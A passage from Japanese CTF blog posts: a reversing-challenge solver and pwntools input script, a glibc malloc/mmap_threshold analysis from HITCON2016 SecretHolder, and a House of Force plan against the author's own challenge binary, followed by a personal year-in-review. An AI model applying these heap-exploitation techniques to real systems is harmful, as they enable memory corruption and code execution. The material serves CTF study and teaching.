        for k in range(3):
          if k==j:
            inps[k+1] = inps[k+1][:i]+'1'+inps[k+1][i+1:]
          else:
            inps[k+1] = inps[k+1][:i]+'0'+inps[k+1][i+1:]
        break
    if found==False:
      print("Not found: "+hex(i))
      exit()


print(inps)

#check
for i in range(3):
  inp[i+1] = int(inps[i+1],2)
print(inp)
if iml&int(inps[0],2) == imr ^ (im[0]&inp[1]) ^ (im[1]&inp[2]) ^ (im[2]&inp[3]):
  print("OK!!!!!!!")
else:
  print("fail")

 

 

実際に動かすと以下のようになる

$ python3 ./bool_solver.py 
inputs in bin
['11111111111111111111111111111111', '01000101000001100100011101000000', '00000000000010000000000000000100', '00000000000000000000000000000000']
inputs in dec
[4294967295, 1158039360, 524292, 0]
OK!!!!!!!






7: VMにflagを食わせる

さて、以上で条件を満たすであろう入力値を求められた

ただ懸念材料として、この入力は当然ASCIIコード範囲に収まっていない

flagと言うくらいだからASCII表示できるやつが正解だと思うのだが。。。

まぁ上のソルバを少しいじればASCII内に収まるやつを見つけることもできるし

なにより、VMが正解といえばそれが正解だ

 

というわけで表示不能文字を入力する必要があり

以下のいつもpwnで使うスクリプトでflagを食わせた

 

# exploit.py
#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "vmgcc"

rhp2 = {'host':"localhost",'port':30000}
context(os='linux',arch='amd64')
binf = ELF(FILENAME)

def exploit(conn):
  inps = ['11111111111111111111111111111111', '01000101000001100100011101000000', '00000000000010000000000000000100', '00000000000000000000000000000000']

  inp = [0,0,0,0]
  for i in range(4):
    inp[i] = int(inps[i],2)

  inj = ""
  for i in range(4):
    inj += p32(inp[i])
  conn.recvuntil("flag: ")
  conn.sendline(inj)
  


if len(sys.argv)>1:
  if sys.argv[1][0]=="d":
    cmd = """
      set follow-fork-mode parent
    """
    conn = gdb.debug(FILENAME,cmd)
  elif sys.argv[1][0]=="r":
    conn = remote(rhp1["host"],rhp1["port"])
else:
    conn = remote(rhp2['host'],rhp2['port'])
exploit(conn)
conn.interactive()




実際に動かすとこのようになる

r0: ffffffff  r1: 45064740  r2: 00080004  r3: 00000000  r4: 00000000  
r0: ffffffff  r1: 45064740  r2: 00080004  r3: 00000000  r4: 41424344  
r0: ffffffff  r1: 45064740  r2: 00080004  r3: 00000000  r4: 41424344  
r0: 41404044  r1: 45064740  r2: 00080004  r3: 00000000  r4: 41424344  
r0: 00020300  r1: 45064740  r2: 00080004  r3: 00000000  r4: 41424344  
r0: 00020300  r1: 45064740  r2: 00080004  r3: 00000000  r4: 45464748  
r0: 00020300  r1: 45064740  r2: 00080004  r3: 00000000  r4: 45064740  
r0: 00020300  r1: 41044748  r2: 00080004  r3: 00000000  r4: 45064740  
r0: 00020300  r1: 04020008  r2: 00080004  r3: 00000000  r4: 45064740  
r0: 00020300  r1: 04020008  r2: 00080004  r3: 00000000  r4: 494a4b4c  
r0: 00020300  r1: 04020008  r2: 00080004  r3: 00000000  r4: 00080004  
r0: 00020300  r1: 04020008  r2: 494a404c  r3: 00000000  r4: 00080004  
r0: 00020300  r1: 04020008  r2: 49424048  r3: 00000000  r4: 00080004  
r0: 00020300  r1: 04020008  r2: 49424048  r3: 00000000  r4: 4d4e4f50  
r0: 00020300  r1: 04020008  r2: 49424048  r3: 00000000  r4: 00000000  
r0: 00020300  r1: 04020008  r2: 49424048  r3: 4d424340  r4: 00000000  
r0: 00020300  r1: 04020008  r2: 49424048  r3: 4d424340  r4: 00000000  
r0: 00020300  r1: 04020008  r2: 04000308  r3: 4d424340  r4: 00000000  
r0: 00020300  r1: 00020300  r2: 04000308  r3: 4d424340  r4: 00000000  
r0: 00000000  r1: 00020300  r2: 04000308  r3: 4d424340  r4: 00000000  
Success! You made it!

 

 

はい、できた!!!

 






8: アウトロ

Revの問題を解くのはほぼ初めてであり、コードも少し読み慣れなかった

結果として試験前の2日間3時間の計6時間を費やしてしまった

別にangrに投げても良かったかなぁ

 

VMの内部構造を明らかにしていく過程はとても面白かった

ただ、そのあとの単なるソルバを書くところはつまらなかった

 

来年はGCC出れるといいなぁ。。。

 

 

 ++++++++++++++++++++++++++++++

 

 

明日のTSGアドベントカレンダー

hakatashiさんによる「 TSG LIVE! を支える技術 その2 ~tsg-live-controller~」の予定です

 

 

 

 

 

9: 発狂して空き缶を4個食べて翼を生やしネコになる予定

 うわああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああいいいいいいい。

げろげろげろげろげろげろげろげろげろげろくえっくえっくえっくえっぽんぽんこつこんぽんぽんこつこつけろけろぐえっ

 うわああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああいいいいいいい。

げろげろげろげろげろげろげろげろげろげろくえっくえっくえっくえっぽんぽんこつこんぽんぽんこつこつけろけろぐえっ

 

 

バリバリッ

バリバリッバリバリッ

むしゃむしゃ

バリむしゃっ

バリバリむしゃっむしゃっ

 

 

 

ばさっ

 

 

 

 

 

 

にゃ〜〜〜〜〜〜〜〜ん

 

 






続く






【pwn 14.0】 pwnの小粒供養 + 12月だから1年間のpwn勉強を振り返る

 

 

【自動投稿 from 2019.11.29 to 2019.12.08.00:00】

 

1: イントロ

本記事はTSG AdventCalender 2019のエントリとして書かれたものです

昨日は うら さんによる 「TSG LIVE! 4 ライブコードゴルフ大会 writeup + 解き直し ( Perl, sed, Haskell ) - 何か書く」でした

adventar.org

 

 +++++++++++++++++++++++++++++++++

 

2日後にも自分がアドベントカレンダーを書く予定があり

そっちではIPAGCC:GlobalCecurityCamp応募課題のwriteupを既に書き終わっている

 

それでは今回は何を書くかというと

予定のところに以下のように書いてしまった

 

f:id:smallkirby:20191130001540p:plain

 

 

 

だがいい感じに題材となりいい感じに解けるpwnの問題を探せなかったため

HITCON2016 SecretHolderでの小さな気づきをメモして

TSG LIVE!4 で出題したが誰にもふれられなかったKillKirby4Freeの供養をしたあと

もう12月ということで、pwnを始めたりTSGに入ったりと色々あった1年間を軽く振り返る

 

わざわざあどべんとかれんだぁを使って書く内容ではない

2日後の記事はちゃんと書いてあるので許して下さい

 

 

 

 

 

 

 2: sbrk or mmap - SecretHolder - HITCON2016

概要

まず最初の小粒ネタ

bataリストのmedium mediumレベルのpwn問題

HITCON CTF 2016 の Secret Holder を解いていた際のこと

 

この問題では3種類(small/big/huge)の大きさのcalloc()ができ

sizeはそれぞれ0x28/0xfa0/0x61a80となっている

なおcalloc()で確保しているためtcacheからは取られない

 

UAFができる設定なのだが

hugeのsizeが0x61a80と非常に大きいサイズになっているため

heapと別ページにメモリが確保されてしまい攻撃に利用することができない

 

pwndbg> x/3gx 0x6020a0
0x6020a0:	0x0000000000000000	0x00007f9e657c6010 <--hugeのアドレス
0x6020b0:	0x0000000000000000
pwndbg> heap
0x1066000 PREV_INUSE {
  mchunk_prev_size = 0, 
  mchunk_size = 593, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x1066250 PREV_INUSE { <--top
  mchunk_prev_size = 0, 
  mchunk_size = 134577, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
          0x400000           0x402000 r-xp     2000 0      /home/wataru/Documents/CTF/secret_holder/SecretHolder
          0x601000           0x602000 r--p     1000 1000   /home/wataru/Documents/CTF/secret_holder/SecretHolder
          0x602000           0x603000 rw-p     1000 2000   /home/wataru/Documents/CTF/secret_holder/SecretHolder
         0x1066000          0x1087000 rw-p    21000 0      [heap]
    0x7f9e65232000     0x7f9e65419000 r-xp   1e7000 0      /lib/x86_64-linux-gnu/libc-2.27.so
    0x7f9e65419000     0x7f9e65619000 ---p   200000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7f9e65619000     0x7f9e6561d000 r--p     4000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7f9e6561d000     0x7f9e6561f000 rw-p     2000 1eb000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7f9e6561f000     0x7f9e65623000 rw-p     4000 0      
    0x7f9e65623000     0x7f9e6564a000 r-xp    27000 0      /lib/x86_64-linux-gnu/ld-2.27.so
    ↓ vmmapで確保された領域
    0x7f9e657c6000     0x7f9e6582a000 rw-p    64000 0      
    0x7f9e6584a000     0x7f9e6584b000 r--p     1000 27000  /lib/x86_64-linux-gnu/ld-2.27.so
    0x7f9e6584b000     0x7f9e6584c000 rw-p     1000 28000  /lib/x86_64-linux-gnu/ld-2.27.so
    0x7f9e6584c000     0x7f9e6584d000 rw-p     1000 0      
    0x7ffe8b2e5000     0x7ffe8b307000 rw-p    22000 0      [stack]
    0x7ffe8b333000     0x7ffe8b336000 r--p     3000 0      [vvar]
    0x7ffe8b336000     0x7ffe8b338000 r-xp     2000 0      [vdso]
0xffffffffff600000 0xffffffffff601000 r-xp     1000 0      [vsyscall]

 




と思っていたら

一度この領域をfree()してもう一度確保してみると

今度はheapが隣接するページに拡張され攻撃に利用できるようになった

 

pwndbg> x/3gx 0x6020a0
0x6020a0:	0x0000000000000000	0x00000000006be260 <--hugeのアドレス
0x6020b0:	0x0000000000000000
pwndbg> heap
0x6be000 PREV_INUSE {
  mchunk_prev_size = 0, 
  mchunk_size = 593, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x6be250 PREV_INUSE { <--今度はheapの中から確保されている
  mchunk_prev_size = 0, 
  mchunk_size = 400017, 
  fd = 0x4141414141414141, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x71fce0 PREV_INUSE {
  mchunk_prev_size = 0, 
  mchunk_size = 131873, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}

 

ということでコードを読んで原因を探していく

(といってもすぐ終わるのだが)

 

 

sysmalloc()での分岐 - mmap_threshold

hugeは馬鹿でかいサイズのため

_int_malloc()において最後の最後にまで流れ着きsysmalloc()を呼ぶことになる

 

sysmalloc()の冒頭にこのような分岐処理がある

  if (av == NULL
      || ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)
          && (mp_.n_mmaps < mp_.n_mmaps_max)))
    {
      char *mm;           /* return value from mmap call*/
    try_mmap:
      if (MALLOC_ALIGNMENT == 2 * SIZE_SZ)
        size = ALIGN_UP (nb + SIZE_SZ, pagesize);
      else
        size = ALIGN_UP (nb + SIZE_SZ + MALLOC_ALIGN_MASK, pagesize);
      tried_mmap = true;
      /* Don't try if size wraps around 0 */
      if ((unsigned long) (size) > (unsigned long) (nb))
        {
          mm = (char *) (MMAP (0, size, PROT_READ | PROT_WRITE, 0)); ・・・★
          if (mm != MAP_FAILED)
            {
              if (MALLOC_ALIGNMENT == 2 * SIZE_SZ)
                {
                  assert (((INTERNAL_SIZE_T) chunk2mem (mm) & MALLOC_ALIGN_MASK) == 0);
                  front_misalign = 0;
                }
              else
                front_misalign = (INTERNAL_SIZE_T) chunk2mem (mm) & MALLOC_ALIGN_MASK;
              if (front_misalign > 0)
                {
                  correction = MALLOC_ALIGNMENT - front_misalign;
                  p = (mchunkptr) (mm + correction);
                  set_prev_size (p, correction);
                  set_head (p, (size - correction) | IS_MMAPPED);
                }
              else
                {
                  p = (mchunkptr) mm;
                  set_prev_size (p, 0);
                  set_head (p, size | IS_MMAPPED);
                }
              /* update statistics */
              int new = atomic_exchange_and_add (&mp_.n_mmaps, 1) + 1;
              atomic_max (&mp_.max_n_mmaps, new);
              unsigned long sum;
              sum = atomic_exchange_and_add (&mp_.mmapped_mem, size) + size;
              atomic_max (&mp_.max_mmapped_mem, sum);
              check_chunk (av, p);
              return chunk2mem (p);
            }
        }
    }

 

 冒頭のif分岐では

nb>=mp_.mmap_threshold && mp_.n_mmaps < mp_.n_mmaps_max

かどうかを判定している

すなわち

・要求バイト数がmmap_threshold (malloc_par structure's mem)以上である

・過去のmmap回数がn_mmaps_max未満である

ことを満たすならば★においてmmap()をすることになる

 

★ではMMAPマクロを使っているが実体は以下の通り

#define MMAP(addr, size, prot, flags) \
 __mmap((addr), (size), (prot), (flags)|MAP_ANONYMOUS|MAP_PRIVATE, -1, 0)

 

flagsにMAP_ANONYMOUS(確保領域をゼロクリア), MAP_PRIVATEを付加するだけでただ__mmap()を呼んでいる

 

さてmmap()をするかどうかは要求サイズがmp_.mmap_threshold以上かどうかで決まるとわかったわけだが

このmp_.mmap_thresholdは_int_free()内の以下の部分で変更されている

 

f:id:smallkirby:20191203190728p:plain

malloc.c

 mmap()で確保された領域をfree()する際

(それはchunkのszの下2bit目を見ればわかる)

sizeがmmap_thresholdよりも大きければ

そのサイズにmmap_thresholdを更新している

 

なぜこのような処理をしているか考えた結果

2回mmapされるようなサイズのchunkは それ以降も確保される可能性が高いため

いちいちmmap()で確保するよりもheapの拡張をしたほうが効率がいいのであろうと結論づけた

 

 

これにて、解決

 

 

 

sbrkによるheap拡張

ことはついでなので

要求サイズがmmap_threshold未満である場合の処理についても軽く見てみる

 

以下のコードまで落ちていく

(重要な部分のみを抜き出している)

old_top = av->top;
  old_size = chunksize (old_top);
  old_end = (char *) (chunk_at_offset (old_top, old_size));
  brk = snd_brk = (char *) (MORECORE_FAILURE);
 
  if (av != &main_arena)
    {
     (...snipped...)
    }
  else     /* av == main_arena */
    { /* Request enough space for nb + pad + overhead */
      size = nb + mp_.top_pad + MINSIZE;

      if (contiguous (av)) ・・・①
        size -= old_size;

      size = ALIGN_UP (size, pagesize);
      if (size > 0) ・・・②
        {
          brk = (char *) (MORECORE (size));
          LIBC_PROBE (memory_sbrk_more, 2, brk, size);
        }
      if (brk != (char *) (MORECORE_FAILURE))
        {
          /* Call the `morecore' hook if necessary.  */
          void (*hook) (void) = atomic_forced_read (__after_morecore_hook);
          if (__builtin_expect (hook != NULL, 0))
            (*hook)();
        }
      else
        {
          (..snipped.. mmap()でもう一度確保を試みる)
        }
    (..snipped.. まだまだ本当は処理が続く)

 

avがmain_arena以外の場合の処理は一旦考えないこととする

基本は読んで字の如くだが以下の2点に注意

 

①contiguous

contiguous(av)という処理がある

これはマクロでav->flagsのNONCONTIGUOUS_BITが降りていればtrueを返す

この辺のコンフィグに関してはmalloc.cの冒頭で以下のように定義されている

Options for customizing MORECORE:
    MORECORE                   sbrk
    MORECORE_FAILURE           -1
    MORECORE_CONTIGUOUS        1
    MORECORE_CANNOT_TRIM       NOT defined
    MORECORE_CLEARS            1
    MMAP_AS_MORECORE_SIZE      (1024 * 1024)
    
#define NONCONTIGUOUS_BIT     (2U)

 

この設定によって

MORECORE(==sbrk())によって確保される領域は

old_topと隣接するようになる

よって隣接しているold_topのサイズを引いた分を要求サイズとする

 

②MORECORE

最初にsize>0を確認している

これは_int_malloc()内のnbがINTERNAL_SIZE_T型(unsigned)であるのに対し

_sbrk内のsizeがlong(singed)であるために

あまりに大きいサイズを渡して負数と認識されるのを防ぐためである

(なお_sbrkに渡すsizeが負数だとtopはshrinkされる)

 

あとは上で定義していたMORECOREに飛ぶことになる

この辺MORECOREを何で定義しているかは環境に依るだろうが自分の環境では以下のようになった

pwndbg> bt
#0  __GI___sbrk (increment=135168) at sbrk.c:32
#1  0x00007ffff7a7f199 in __GI___default_morecore (increment=<optimized out<) at morecore.c:47
#2  0x00007ffff7a77dac in sysmalloc (nb=nb@entry=592, av=av@entry=0x7ffff7dcfc40 <main_arena>) at malloc.c:2489
#3  0x00007ffff7a78ff0 in _int_malloc (av=av@entry=0x7ffff7dcfc40 <main_arena>, bytes=bytes@entry=576) at malloc.c:4125
#4  0x00007ffff7a7a4b5 in tcache_init () at malloc.c:2987
#5  0x00007ffff7a7abbb in tcache_init () at malloc.c:2983
#6  __GI___libc_malloc (bytes=65536) at malloc.c:3042
#7  malloc_hook_ini (sz=65536, caller=<optimized out>) at hooks.c:32
#8  0x000055555555469c in main ()

 

__default_morecore()が呼ばれていることになる

これは内部で__sbrk()==sbrk()を呼んで

成功ならその返り値を、失敗ならNULLを返すだけの関数である





ということで軽くsbrk/mmapについて眺めてみた

今後巨大chunkを確保する際には気をつけてみたい






 

3: KillKirby4Free供養

続いて

自分の初pwn自作問題として TSG LIVE!4 で出題した問題 KillKirby4Free

後に複数の人から言われたが

明らかに75分(しかも他pwn2問)で解ける問題ではなかった。。。

 

結果として誰に触れられることもなく終わったため

ここでカービィの供養をすることにする

 

なお他の問題と本問のexploitコードについては以下のエントリで見れる

smallkirby.hatenablog.com

 

 

脆弱性

 登場するkirbyには normal/ small/ bigの3種類がいる

異なるのはkirbyに命名するときのnameバッファの大きさであり

それぞれ0x48/ 0x50/ 可変(>0x50)になっている

 

だが実際の命名部分は以下のようになっている

  printf("Name him! > ");
  if(new_kirby->bufsize!=1){
    if(read(0,new_kirby->name,NORMALBUF)<=0){
      printf("BYE\n");
      exit(1);
    }
  }else if(read(0,new_kirby->name,new_kirby->bufsize)<=0){
      printf("BYE\n");
      exit(1);
  }

 

smallもnormalもNORMALBUF==0x50だけ入力するようになっている

すなわちsmallkirbyの命名時に8byte overflowが存在する

 

しかもsmallkirbyのnameバッファは0x48とmod8==0&&mod16!=0であるために

次のchunkのszを書き換えることができる

この脆弱性をとっかかりに攻めていくことになる



方針

上の脆弱性は以下の3条件を満たしている

・chunkのszを任意に書き換えることができる

・任意のサイズのmalloc()ができる(bigkirbyによる)

・heapのアドレスをleakすることができる(smallkirbyに丁度0x48の命名をする)

よってHouse of Force: HoFを利用することができる

(HoFについてわからない場合は以下を参照)

smallkirby.hatenablog.com

 

 

これで基本的にwrite-what-whereになったわけだ

 

何を書き換えるかだが、まずはlibc_baseをleakしたい

そのためには以下の方法を使ってstdoutのFILE構造体がもつポインタをleakしてもいいが

smallkirby.hatenablog.com

 

この場合はfree()をすることでmain_arena+96のアドレスをheapに出現させたい

本問では kirby_is_free 変数によってfree()が禁止されているため

まずはこの変数を書き換えることでfree()ができるようにしたい

(この辺はTWCTF2019のsecure_karteをちょっとだけ意識した)

smallkirby.hatenablog.com

 

 

 

3回のHouse of Force

 ということで1回目のHoFはkirby_is_freeを書き換えるのに使う

但しHoFではメタデータによって周辺の領域が破壊されることに注意

 

とはいってもこの辺は自分でexploitを書くときに調整しており

stderr辺りに飛ぶと上手いこと必要な情報は破壊せずにchunkを配置することができる

 

さてこれによってchunkをfree()できるようになったわけだが

続いてmain_arena+96をleakしなくてはならない

そのためにはsmallkirbyを捕まえる必要があるのだが

こいつは0x10回に1回しか出現しないため、それまでに数回mallocする必要がある

だが現在のav->topは.dataセクションに置いてあり

あまり沢山のchunkを確保してしまうと破壊してはいけない領域を破壊したり

readonlyな領域にアクセスしたりしてしまうことになる

そのため一度もとのheapに戻る必要がある

 

ということでここで2度目のHoFをする

これによってvalidなheapに戻ったら

smallkirbyを確保して最初と同様の方法でmain_arena+96のアドレスをleakする

 

そうしてlibc_baseをリークしたら最後に__malloc_hookを書き換えるために3回目のHoFをする

ここに特に注意点はない

 

ということでHoFを3回使えば簡単に解ける問題であった

 

 

exploit

先程のブログエントリを参照してもらうか

以下のTSGのgithubに問題バイナリやexploitコードが置いてある

t.co

 

 

 

作問のきっかけ

ということで初めてpwn問題を作った

もとはpwnの勉強中に、問題作ってる人ってどんな気分なんだろうなぁと思ったのがきっかけで

なんとなく自分用に作った問題であったが

丁度TSG LIVE!の問題を募集している最中だったため出題させてもらった

 

作問の際には

まず問題のフレームワーク(この場合kirbyを捕まえていく)を決め

そのあとで使用するテクニック・方針等を決めていった

 

ただし最初からガチガチに方針を決めたわけではなく

まず適当にプログラムを作って

それをどうやったらぱうんできるかを考えてexploitを書いた

つまり、結局は作問をする際もpwnを解く側の気持ちでやっていた

いつもと違うのはそれがexploitableかどうかわからないということと

それから上手く行かないところはexploitコードではなくバイナリ自体を書き換えられるということだった

 

 

 

作問をするのも普通に楽しかったが

そもそも自分みたいにpwnが弱い人間が作った問題は概してクソ問になるため

まずは自身のスキルを上げるところから頑張りたい

 

 

ちなみに

昨日割といい感じの問題(の設定)を思いついたので

機会があったらどっかに出したいです

 

 

 

 

以上、kirbyの供養!!

 

 

 

 

 

 

4: pwnを始めた1年を振り返る

もう12月

今年はTSGに入ったり、pwnを始めたりと割と色々とあった1年だった

アドベントカレンダーに登録したはいいけど書くことが見つからなかったため

以下ではこの1年間をpwn的なことを中心にだらだら振り返っていく

日記とか書くのって、楽しいもんね。。。

 

2012年:C言語との出会い

 ・Hacking: 美しき策謀本を読む

アセンブラどころかCも何も知らずただ名前の響きだけで買って読んだ

何言ってるかわからんかった

 

・30日でできる! OS自作入門 をやる

中2で出会った河合さんのOS本に夢中になり、実際に作ってCDに焼いて動かした

これが初めて使ったC言語(+ちょっとだけアセンブラ、ほぼコピペだけど)だった

自分で作ったのが動くってすげえ、と月並みな感想を抱く

 

Windowsでゲームプログラミング

 以下のサイトを真似して東方チックなシューティングゲームを作った

(東方のことは今でも何も知らないから、キャラをカービィにした記憶がある)

後にも先にも初めてのゲームプログラミングだった

dixq.net

 

・すし打にハマる

すし

 

 

2013年: Windows離れ

・ITパスポートを取る

中3で暇だったのかITパスポートとかいう謎資格を取る

なお同時に漢検5級も取る♥

 

 プログラミング言語を作る をやる

前橋さんのこの本で簡単なプログラミング言語を実装した

割と面白かったことは覚えているが、具体的な記憶が何故か殆ど残っていないという不思議

 

Linuxの存在を知る

なんかLinuxというOSがあるらしいということを知る

かっこよさそうだからという理由で自分のノートPCをWindowsUbuntuデュアルブートにする

ここでUbuntuの使い方は覚えた感

 

PHPとかをやったりWebサイトを作ったり

分厚いPHPレシピ本を買って

HTMLを直書きしてFC2にC言語の学習サイトを作った

今でも存在しているが、見ると穴に入りたくなるためこのまま墓まで持っていく

ここでちゃんと体系だてて勉強していれば今のWebに対する抵抗感はなかったかもしれないのになぁ

 

 

2014年-2016年: あんまPCに触らなくなる

・策略本をもう一度やる

 C言語を2年間触ったあとでもう一度策略本をもう一度やった

攻撃方法等は理解できたし面白かった

この時初めてgdbに触った

 

アルゴリズム本とかネットワークの仕組みとか

理論よりのことを本で読むようになる

実機にあまり触らなかったため、あまり知識は定着しなかった

 

時間の有り余っている高校生のときに

何故もっとちゃんとコンピュータの勉強をしなかったのか

後悔と言うよりも不思議が上回る

あんま高校で同じ分野に興味ある人いなかったんだよなぁ

 

 

2017年: PCをへし折る

・PCをへし折る

高校生でも大学生でもないという摩訶不思議な時空の狭間で

何を血迷ったか大好きだったLenovo Thinkpadを真っ二つにへし折った

へし折る際のコツだが

意外と硬いことに加えて破片が刺さる可能性があるため

布状のものをかぶせた上から、全体重を載せてディスプレイを反対方向に回転させるのがポイント

不思議なことにへし折った後は電源がつかないし、画面にも何も映らなかった

 

この1年間はこれ以外PCに触らなかった

 

 

2018年3月: Pythonとの出会い

・中古PCを買う

なぜかPCがへし折った後に使えなくなったため

中古3万円のdynabookを買い、UbuntuとKali Linuxデュアルブートにした

あと大学用にMacbookも買ったが殆ど使っていない

 

Pythonに出会う

Cとアセンブラしか見たことがなかったが大学に入る上で他にも何か使えたほうがいいと思い、退屈なことはPython本を買って読んだ

Cと比較しての便利さにびっくりした

なお、今自分が書くPythonのコードは8割方 from pwn import * から始まる

 

・知識を取り戻す

長いこと触れていなかった本を読み返し知識を取り戻す

 

 

2018年4月-2019年2月: 何もしない

コンピュータのことは何もしない

とにかく本を読み漁っていた

ショーペンハウアーの日本で文庫本で出ているのは多分全部読んで

村上春樹を2/3くらい読んだ

 

 

2019年3月: TSGに入る/ pwnをやり始める

・TSGに入る

B1の同じクラスにTSGの部長がいて、前々から色々と教わっていた

TSGも名前は聞いたことはあったが、ガチ勢の巣窟で自分なんか入っても淘汰されると思っていた

だが部長が猛プッシュしてくれたこともあり入る運びに

今ではすごく感謝している

 

・pwnの下準備をする

まず"大熱血!アセンブラ"を読んでx86/x86_64を中心とするアーキのアセンブラを読めるようにした

次にハリネズミ本を読んでpwnとはどんな問題なのかを把握した

そこで足りない知識を補うために坂井さんのリンカ・ローダ本を読んだ

それからgdbとlibc/systemcallの知識を深めるため同じく坂井さんのハローhelloworldを読んだ

また、いい機会だと思い策略本をもう一度丁寧に読み返した

そこまで終わるといよいよ常設CTFのpwnable.xyzでpwnを解いていった

はじめは本当に何もわからず、部長やくっきーさんに随時質問して1問ずつゆっくり解いていった

この2人のおかげでpwnに入門することができて、なんやかんや1年が楽しくなった気がする

 

 

2019年4月: pwnable.xyzを解き続ける

・ゆっくりpwnをやる

相変わらず2人に質問をしながらxyzを解いていった

電車の中で考えるのが捗った

全完するつもりでやっていたが、ゆっくりやりすぎたのかxyzの問題サーバが9月頃に死んでしまった

結局これ以上flagを獲得することができず2/3くらいを解いて52位で止まってしまっている

f:id:smallkirby:20191203233337p:plain

xyzのleadersboard



 

 

2019年5月: Seccampの課題をやる

・xyzをやり続ける

以下略

 

・SECCON for beginners CTFをやる

初めて常設じゃないCTFでflagを取る

 

セキュリティキャンプの課題をやる

セキュリティキャンプの課題を解いて出した

前年はレポートをほぼ白紙で出したら落ちたため、今年はなんやかんや5万字くらい書いたら通った

smallkirby.hatenablog.com

 

 

2019年6月: heap問を解き始める

・pwn分科会

 TSGのpwn分科会でmalloc/freeのlibcを読んだ

これきっかけでheap問に対する抵抗感がなくなりheap問を解き始めるようになった

xyzからは若干離れていた

 

自然言語処理

pythonのゼロからディープラーニング本を読んで面白いと思い

画像処理とか自然言語処理にハマっていた

この時期はpwnよりもやっていた

 

 

2019年7月: 何もしない

進振りに振り回される

結局失敗する

 

・Cryptに憧れる

cryptできたらかっこいいなぁと思い結城さんの暗号技術入門とか石井さんのガロア理論頂き本とか雪江代数学とか読んだが続かず

 

CPUの創りかたを読む

CPUつくるとかやってみてぇなぁと思い読んで素子も沢山買ってきたが、はんだ付けが途中でめんどくさくなり放置

 

Kindleで技術書を読むことにハマる

Kindleなら分厚い技術書も電車で読めることに気づき色々と読み漁る

 

 

2019年8月: キャンプに行く

 ・MITのOSの授業

MITの授業で誰でも資料を読めるOSの授業があったから途中までやっていたが途中ですっかり忘れ去った

 

セキュリティキャンプに行く

つよつよの人たちを目の当たりにする

TSGの会ったことなかった人にも会った

授業内容というよりもそういう人たちから刺激をもらえたこととキャンプ後も連絡をとれるようになったことが貴重な機会だった

あとこれきっかけでGhidraをヘビーに使うようになった

 

・キャンプに行く

人と2人で山梨県にキャンプに行った

湖のほとりにある場所でほとんど人がいなかった

自分たちで火をおこして飯を作って夜は星を見た

pwnとかどうでもいいと思った

 

・LinuxKernelに興味を持つ

キャンプで会った人の影響でkernel詳しかったら面白いなぁと思い

詳解カーネルと詳解デバドラを買った

どちらも半端で放置している

 

malware解析に興味を持つ

同じくキャンプで会った人の影響でmalware詳しかったら面白いなぁと思い

PracticalMalwareAnalysisを買った

Windowsわからん太郎になった

けどなんやかんやこれからもちょっとずつ独学でやっていく気がする

 

・TokyoWesterns CTFをやる

TSGの人たちとslackでわいわいしながら問題を解いた

なんも力に慣れずpwnがんばらなきゃなと思った

 

 

2019年9月: bataリストを解き始める

・bataリスト

学部が決まったが特に忙しくなるわけではなく、bataさんのpwn良問リストを解き始める

なんかこの月思い返すと何もしてないな

 

 

2019年10月: 色々なCTFにちょっとずつ参加する

・CTF

TSGとしてではなく個人としてちょっとしたCTFに参加したりしていた

やっぱりリアルタイムでやると緊張感が楽しい

この頃からCTF中に眠くなるとピアスを開けて目を覚ますという悪い癖が付く

 

・CodeBlueに行く

面白い話を聞けたしTSGの昔話を聞けた

すごすごの人たちが本当に実在することを確かめられた

 

・最近の問題を解き始める

bataリストを解いていたところ、部長に最近の問題を解けと言われたため最近の問題を解き始める

 

2019年11月: ずっと試験

・ずっと試験

10月下旬から12月上旬までずっと試験

なんならこれ書いてる今もずっと試験

 

・source-reading分科会

TSGのsource-reading分科会に参加

その過程で初めてkernel問(gnote-TW2019)を解いた

smallkirby.hatenablog.com

 

 

・CTFZone CTF

これもTSGでリアルタイムでわいわいした

オンサイトで集まってやりたかったが引越し準備のため行けなかったのが悔やまれる

これもTWのときと同様何も力になれず、頑張らなきゃと思う

 

 





こう書いてみると

随分うっすい1年間だこと

来年は濃い1年になるよう頑張りたいところですねぇ、はい。





 

5: アウトロ

ということでネタがないのがバレバレな散らばった内容でした

明後日にはGCCの課題のwriteupを書きます

 

明日(12/9)のTSGアドベントカレンダー

kuromunori さんというネコ科人間による

「九九判定プログラムのesoの解説を。><>、GolfScript,Aheui,Tetris(ほんまか)」です

お楽しみに











6: 発狂して湖に飛び込みYoutuberデビューする予定

 

うわああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああいいいいいいい。

げろげろげろげろげろげろげろげろげろげろくえっくえっくえっくえっぽんぽんこつこんぽんぽんこつこつけろけろぐえっ

 うわああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああいいいいいいい。

げろげろげろげろげろげろげろげろげろげろくえっくえっくえっくえっぽんぽんこつこんぽんぽんこつこつけろけろぐえっ





ぼしゃっっ

ちゃぷちゃぷちゃぷ

 

しーーーーん。。。。。

 

 

 

 

 

 

ぶんぶんはろーゆーちゅーぶ

 

 

 

 

 

 

 

 

 

続く

 

 

 

 

 

 

 

 

 

【pwn 16.0】ゴキブリ F*CK YOU - kirby CTF 2019

 

